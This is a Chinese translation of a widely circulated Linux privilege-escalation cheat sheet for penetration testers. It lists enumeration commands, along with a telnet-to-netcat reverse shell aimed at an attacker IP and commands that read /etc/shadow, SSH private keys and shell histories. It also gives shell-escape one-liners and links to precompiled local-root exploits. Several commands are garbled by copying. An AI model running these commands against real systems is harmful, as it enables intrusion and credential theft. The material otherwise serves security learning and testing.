（Linux）的提权是怎么一回事：
收集 – 枚举，枚举和一些更多的枚举。 过程 – 通过数据排序，分析和确定优先次序。 搜索 – 知道搜索什么和在哪里可以找到漏洞代码。 适应 – 自定义的漏洞，所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。 尝试 – 做好准备,试验和错误。
系统类型
系统是什么版本?
cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release
它的内核版本是什么？
cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz
它的环境变量里有些什么？
cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set
是否有台打印机？
lpstat -a
应用与服务
正在运行什么服务？什么样的服务具有什么用户权限？
ps aux ps -ef top cat /etc/service
哪些服务具有root的权限？这些服务里你看起来那些有漏洞,进行再次检查！
ps aux | grep root ps -ef | grep root
安装了哪些应用程序？他们是什么版本？哪些是当前正在运行的？
ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/
Service设置，有任何的错误配置吗？是否有任何（脆弱的）的插件？
cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/
主机上有哪些工作计划？
crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root
主机上可能有哪些纯文本用户名和密码?
grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
通信与网络
NIC(s)，系统有哪些？它是连接到哪一个网络？
/sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network
网络配置设置是什么？网络中有什么样的服务器？DHCP服务器？DNS服务器？网关？
cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname
其他用户主机与系统的通信？
lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w
缓存？IP和/或MAC地址?
arp -e route /sbin/route -nee
数据包可能嗅探吗？可以看出什么？监听流量
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
你如何get一个shell？你如何与系统进行交互？
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ nc -lvp 4444 # Attacker. 输入 (命令) nc -lvp 4445 # Attacker. 输出(结果) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系统上. 使用 攻击者的IP!
如何端口转发？（端口重定向）
# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
#ssh
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
#mknod
# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod
backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
建立隧道可能吗？本地，远程发送命令
ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig
秘密信息和用户
你是谁？哪个id登录？谁已经登录？还有谁在这里？谁可以做什么呢？
id
who
w
last
cat /etc/passwd | cut -d: # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l
可以找到什么敏感文件？
cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/
什么有趣的文件在home/directorie（S）里？如果有权限访问
ls -ahlR /root/ ls -ahlR /home/
是否有任何密码，脚本，数据库，配置文件或日志文件？密码默认路径和位置
cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg
用户做过什么？是否有任何密码呢？他们有没有编辑什么？
cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history
可以找到什么样的用户信息
cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root
private-key 信息能否被发现？
cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key
文件系统
哪些用户可以写配置文件在/ etc /？能够重新配置服务？
ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl /etc/ | awk ’$1 ~ /^..w/' 2>/dev/null # Owner ls -aRl /etc/ | awk ‘$1 ~ /^.....w/' 2>/dev/null # Group ls -aRl /etc/ | awk ’;$1 ~ /w.$/' 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在/ var /有什么可以发现？
ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases
网站上的任何隐藏配置/文件?配置文件与数据库信息？
ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/
有什么在日志文件里?（什么能够帮助到“本地文件包含”?)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/ cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ #
auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,
mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)
如果命令限制，你可以打出哪些突破它的限制？
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
如何安装文件系统？
mount df -h
是否有挂载的文件系统？
cat /etc/fstab
什么是高级Linux文件权限使用？Sticky bits, SUID 和GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done #
Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,
/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID
(Quicker search)
#
findstarting at root (/), SGIDorSUID, not Symbolic links, only 3
folders deep, list with more detail and hideany errors (e.g. permission
denied)
find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null
在哪些目录可以写入和执行呢？几个“共同”的目录：/ tmp目录，/var / tmp目录/ dev /shm目录
find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o+w -type d 2>/dev/null # world-writeable folders find / -perm -o+x -type d 2>/dev/null # world-executable folders find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders Any "problem" files？可写的的，“没有使用"的文件 find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files
准备和查找漏洞利用代码
安装了什么开发工具/语言/支持？
find / -name perl* find / -name python* find / -name gcc* find / -name cc
如何上传文件？
find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp
查找exploit代码
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com
查找更多有关漏洞的信息
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE]
http://www.91ri.org/
(快速）“共同的“exploit,预编译二进制代码文件
http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
上面的信息很难吗？
快去使用第三方脚本/工具来试试吧！
系统怎么打内核，操作系统，所有应用程序，插件和Web服务的最新补丁？
apt-get update && apt-get upgrade yum update
服务运行所需的最低的权限？
例如，你需要以root身份运行MySQL？
能够从以下网站找到自动运行的脚本？！
http://pentestmonkey.net/tools/unix-privesc-check/
http://labs.portcullis.co.uk/application/enum4linux/
http://bastille-linux.sourceforge.net
（快速）指南和链接
例如
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm
其他
http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf
http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html
文章中文来源: http://www.91ri.org/7459.html
英文原文:http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/